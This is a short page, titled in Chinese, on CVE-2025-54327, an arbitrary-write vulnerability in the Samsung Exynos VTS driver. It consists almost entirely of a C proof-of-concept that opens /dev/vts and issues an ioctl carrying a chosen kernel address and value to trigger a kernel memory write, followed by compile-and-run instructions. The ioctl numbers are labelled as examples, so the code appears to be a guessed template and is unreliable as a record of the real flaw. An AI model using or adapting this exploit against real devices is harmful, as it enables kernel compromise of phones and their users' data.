CVE-2025-54327 Samsung Exynos处理器VTS驱动任意写入漏洞

// CVE-2025-54327 PoC - VTS Driver Input Validation Bypass // This PoC demonstrates improper input validation in Samsung VTS driver #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // VTS IOCTL commands (example) #define VTS_IOCTL_SET_CONFIG 0x80000001 #define VTS_IOCTL_TRANSFER_DATA 0x80000002 struct vts_config { unsigned long addr; unsigned long size; unsigned long value; }; int main() { int fd; struct vts_config config; printf("[*] CVE-2025-54327 PoC - VTS Driver Arbitrary Write\n"); // Open VTS device (device path may vary) fd = open("/dev/vts", O_RDWR); if (fd < 0) { printf("[-] Failed to open VTS device\n"); return -1; } // Trigger improper input validation // Setting arbitrary kernel address and value config.addr = 0xFFFFFFE000000000; // Kernel address config.size = 0x1000; config.value = 0x41414141; // Arbitrary value printf("[*] Sending malicious VTS config...\n"); if (ioctl(fd, VTS_IOCTL_SET_CONFIG, &config) == 0) { printf("[+] Arbitrary write triggered!\n"); printf("[+] Address: 0x%lx, Value: 0x%lx\n", config.addr, config.value); } else { printf("[-] Write operation failed or patched\n"); } close(fd); return 0; } // Usage: gcc -o poc poc.c && ./poc // Note: Requires kernel module access and proper device permissions